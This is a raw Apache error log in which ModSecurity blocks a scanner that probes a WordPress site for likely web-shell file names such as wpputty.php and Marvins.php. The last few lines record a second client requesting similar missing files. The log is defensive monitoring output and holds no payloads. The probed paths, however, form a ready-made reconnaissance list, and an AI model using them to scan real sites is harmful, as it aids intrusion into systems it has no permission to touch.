[Sat Apr 18 06:43:28.268703 2026] [:error] [pid 9970:tid 9995] [client 20.111.61.194:44276] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/date-object.php"] [unique_id "aeK3kCYdRLRhVmaIMx3gcwAAANU"]
[Sat Apr 18 06:43:28.748854 2026] [:error] [pid 13023:tid 13046] [client 20.111.61.194:44275] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/date-object.php"] [unique_id "aeK3kP1e7hG8DAeABB8I4wAAARU"]
[Sat Apr 18 06:43:29.219592 2026] [:error] [pid 9970:tid 9993] [client 20.111.61.194:30178] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w-1.php"] [unique_id "aeK3kSYdRLRhVmaIMx3gdAAAANM"]
[Sat Apr 18 06:43:29.690535 2026] [:error] [pid 9865:tid 9946] [client 20.111.61.194:30170] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w-1.php"] [unique_id "aeK3kazb5knECIY-C-i6uAAAAIk"]
[Sat Apr 18 06:43:30.162563 2026] [:error] [pid 9970:tid 9988] [client 20.111.61.194:16005] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w-1.php"] [unique_id "aeK3kiYdRLRhVmaIMx3geAAAAM4"]
[Sat Apr 18 06:43:30.661824 2026] [:error] [pid 9970:tid 9994] [client 20.111.61.194:43515] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w-1.php"] [unique_id "aeK3kiYdRLRhVmaIMx3gewAAANQ"]
[Sat Apr 18 06:43:31.159916 2026] [:error] [pid 9864:tid 9916] [client 20.111.61.194:24880] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "aeK3k4CFeowknfXHM7lEAgAAAEo"]
[Sat Apr 18 06:43:31.651070 2026] [:error] [pid 13023:tid 13033] [client 20.111.61.194:25404] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "aeK3k_1e7hG8DAeABB8I9gAAAQg"]
[Sat Apr 18 06:43:32.210857 2026] [:error] [pid 9865:tid 9944] [client 20.111.61.194:25371] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "aeK3lKzb5knECIY-C-i6vAAAAIc"]
[Sat Apr 18 06:43:32.742179 2026] [:error] [pid 9865:tid 9959] [client 20.111.61.194:18425] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "aeK3lKzb5knECIY-C-i6vgAAAJY"]
[Sat Apr 18 06:43:33.253477 2026] [:error] [pid 9865:tid 9961] [client 20.111.61.194:23138] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bbh.php"] [unique_id "aeK3lazb5knECIY-C-i6vwAAAJg"]
[Sat Apr 18 06:43:33.743452 2026] [:error] [pid 9970:tid 9984] [client 20.111.61.194:30162] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bbh.php"] [unique_id "aeK3lSYdRLRhVmaIMx3ggAAAAMo"]
[Sat Apr 18 06:43:34.222122 2026] [:error] [pid 9970:tid 9977] [client 20.111.61.194:32768] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bbh.php"] [unique_id "aeK3liYdRLRhVmaIMx3gggAAAMM"]
[Sat Apr 18 06:43:34.727337 2026] [:error] [pid 13023:tid 13047] [client 20.111.61.194:30177] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bbh.php"] [unique_id "aeK3lv1e7hG8DAeABB8JBgAAARY"]
[Sat Apr 18 06:43:35.283604 2026] [:error] [pid 9863:tid 9874] [client 20.111.61.194:43856] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gool.php"] [unique_id "aeK3lzjjiypiFrTucbIaegAAAAE"]
[Sat Apr 18 06:43:35.782146 2026] [:error] [pid 9970:tid 9987] [client 20.111.61.194:62054] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gool.php"] [unique_id "aeK3lyYdRLRhVmaIMx3giQAAAM0"]
[Sat Apr 18 06:43:36.257135 2026] [:error] [pid 13023:tid 13045] [client 20.111.61.194:25380] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gool.php"] [unique_id "aeK3mP1e7hG8DAeABB8JEgAAARQ"]
[Sat Apr 18 06:43:36.779742 2026] [:error] [pid 13023:tid 13049] [client 20.111.61.194:62065] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gool.php"] [unique_id "aeK3mP1e7hG8DAeABB8JFwAAARg"]
[Sat Apr 18 06:43:37.312096 2026] [:error] [pid 9863:tid 9881] [client 20.111.61.194:18391] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeK3mTjjiypiFrTucbIafAAAAAg"]
[Sat Apr 18 06:43:37.841460 2026] [:error] [pid 9865:tid 9957] [client 20.111.61.194:18808] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeK3mazb5knECIY-C-i6wgAAAJQ"]
[Sat Apr 18 06:43:38.379643 2026] [:error] [pid 9865:tid 9952] [client 20.111.61.194:4001] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeK3mqzb5knECIY-C-i6xAAAAI8"]
[Sat Apr 18 06:43:38.884549 2026] [:error] [pid 9970:tid 9996] [client 20.111.61.194:23119] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeK3miYdRLRhVmaIMx3gkAAAANY"]
[Sat Apr 18 06:43:39.356103 2026] [:error] [pid 9970:tid 9989] [client 20.111.61.194:20501] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeK3myYdRLRhVmaIMx3gkQAAAM8"]
[Sat Apr 18 06:43:39.828977 2026] [:error] [pid 13023:tid 13039] [client 20.111.61.194:3702] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeK3m_1e7hG8DAeABB8JKQAAAQ4"]
[Sat Apr 18 06:43:40.389159 2026] [:error] [pid 13023:tid 13032] [client 20.111.61.194:28100] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeK3nP1e7hG8DAeABB8JLQAAAQc"]
[Sat Apr 18 06:43:40.885016 2026] [:error] [pid 13023:tid 13040] [client 20.111.61.194:26712] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeK3nP1e7hG8DAeABB8JNQAAAQ8"]
[Sat Apr 18 06:43:41.414617 2026] [:error] [pid 9865:tid 9959] [client 20.111.61.194:28154] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeK3nazb5knECIY-C-i6xwAAAJY"]
[Sat Apr 18 06:43:41.918008 2026] [:error] [pid 9865:tid 9961] [client 20.111.61.194:22642] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeK3nazb5knECIY-C-i6yAAAAJg"]
[Sat Apr 18 06:43:42.391768 2026] [:error] [pid 9970:tid 9981] [client 20.111.61.194:25431] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeK3niYdRLRhVmaIMx3glQAAAMc"]
[Sat Apr 18 06:43:42.869803 2026] [:error] [pid 9970:tid 9975] [client 20.111.61.194:22606] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeK3niYdRLRhVmaIMx3glgAAAME"]
[Sat Apr 18 06:43:43.343830 2026] [:error] [pid 9970:tid 9984] [client 20.111.61.194:43150] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpputty.php"] [unique_id "aeK3nyYdRLRhVmaIMx3glwAAAMo"]
[Sat Apr 18 06:43:43.849490 2026] [:error] [pid 9865:tid 9958] [client 20.111.61.194:15195] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpputty.php"] [unique_id "aeK3n6zb5knECIY-C-i6yQAAAJU"]
[Sat Apr 18 06:43:44.353555 2026] [:error] [pid 13023:tid 13048] [client 20.111.61.194:44715] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpputty.php"] [unique_id "aeK3oP1e7hG8DAeABB8JRwAAARc"]
[Sat Apr 18 06:43:44.824917 2026] [:error] [pid 9970:tid 9977] [client 20.111.61.194:60347] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpputty.php"] [unique_id "aeK3oCYdRLRhVmaIMx3gmAAAAMM"]
[Sat Apr 18 06:43:45.300697 2026] [:error] [pid 13023:tid 13031] [client 20.111.61.194:44684] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dodo.php"] [unique_id "aeK3of1e7hG8DAeABB8JTQAAAQY"]
[Sat Apr 18 06:43:45.771487 2026] [:error] [pid 9970:tid 9978] [client 20.111.61.194:15196] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dodo.php"] [unique_id "aeK3oSYdRLRhVmaIMx3gmQAAAMQ"]
[Sat Apr 18 06:43:46.297386 2026] [:error] [pid 9970:tid 9983] [client 20.111.61.194:25434] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dodo.php"] [unique_id "aeK3oiYdRLRhVmaIMx3gmgAAAMk"]
[Sat Apr 18 06:43:46.828147 2026] [:error] [pid 9863:tid 9893] [client 20.111.61.194:17262] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dodo.php"] [unique_id "aeK3ojjjiypiFrTucbIajwAAABQ"]
[Sat Apr 18 06:43:47.361409 2026] [:error] [pid 9863:tid 9873] [client 20.111.61.194:3953] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-post-data.php"] [unique_id "aeK3ozjjiypiFrTucbIakQAAAAA"]
[Sat Apr 18 06:43:47.881779 2026] [:error] [pid 9863:tid 9883] [client 20.111.61.194:65135] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-post-data.php"] [unique_id "aeK3ozjjiypiFrTucbIakgAAAAo"]
[Sat Apr 18 06:43:48.382472 2026] [:error] [pid 9970:tid 9997] [client 20.111.61.194:37121] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-post-data.php"] [unique_id "aeK3pCYdRLRhVmaIMx3gngAAANc"]
[Sat Apr 18 06:43:48.874780 2026] [:error] [pid 9864:tid 9917] [client 20.111.61.194:26748] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-post-data.php"] [unique_id "aeK3pICFeowknfXHM7lEHgAAAEs"]
[Sat Apr 18 06:43:49.370363 2026] [:error] [pid 13023:tid 13030] [client 20.111.61.194:25423] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeK3pf1e7hG8DAeABB8JZwAAAQU"]
[Sat Apr 18 06:43:49.840784 2026] [:error] [pid 9970:tid 9980] [client 20.111.61.194:44680] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeK3pSYdRLRhVmaIMx3goAAAAMY"]
[Sat Apr 18 06:43:50.335307 2026] [:error] [pid 9863:tid 9876] [client 20.111.61.194:37149] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeK3pjjjiypiFrTucbIalQAAAAM"]
[Sat Apr 18 06:43:50.806375 2026] [:error] [pid 9970:tid 9976] [client 20.111.61.194:60329] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeK3piYdRLRhVmaIMx3gpQAAAMI"]
[Sat Apr 18 06:43:51.305389 2026] [:error] [pid 9865:tid 9953] [client 20.111.61.194:26724] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Marvins.php"] [unique_id "aeK3p6zb5knECIY-C-i6zAAAAJA"]
[Sat Apr 18 06:43:51.836624 2026] [:error] [pid 9863:tid 9882] [client 20.111.61.194:65147] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Marvins.php"] [unique_id "aeK3pzjjiypiFrTucbIamAAAAAk"]
[Sat Apr 18 06:43:52.356552 2026] [:error] [pid 9865:tid 9938] [client 20.111.61.194:65108] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Marvins.php"] [unique_id "aeK3qKzb5knECIY-C-i6zwAAAIE"]
[Sat Apr 18 06:43:52.825901 2026] [:error] [pid 9970:tid 9977] [client 20.111.61.194:65122] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Marvins.php"] [unique_id "aeK3qCYdRLRhVmaIMx3gqAAAAMM"]
[Sat Apr 18 06:43:53.332082 2026] [:error] [pid 9865:tid 9945] [client 20.111.61.194:43140] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/astab.php"] [unique_id "aeK3qazb5knECIY-C-i60gAAAIg"]
[Sat Apr 18 06:43:53.826517 2026] [:error] [pid 9864:tid 9930] [client 20.111.61.194:44631] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/astab.php"] [unique_id "aeK3qYCFeowknfXHM7lEJwAAAFg"]
[Sat Apr 18 06:43:54.335003 2026] [:error] [pid 9863:tid 9890] [client 20.111.61.194:3844] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/astab.php"] [unique_id "aeK3qjjjiypiFrTucbIanQAAABE"]
[Sat Apr 18 06:43:54.807079 2026] [:error] [pid 9865:tid 9955] [client 20.111.61.194:43159] [client 20.111.61.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/astab.php"] [unique_id "aeK3qqzb5knECIY-C-i61QAAAJI"]
[Sat Apr 18 07:33:47.445840 2026] [:error] [pid 34288:tid 34312] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Sat Apr 18 07:33:47.719345 2026] [:error] [pid 34288:tid 34305] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Sat Apr 18 07:33:48.008565 2026] [:error] [pid 34288:tid 34297] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat Apr 18 07:33:48.823412 2026] [:error] [pid 34288:tid 34309] [client 4.235.108.154:10712] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
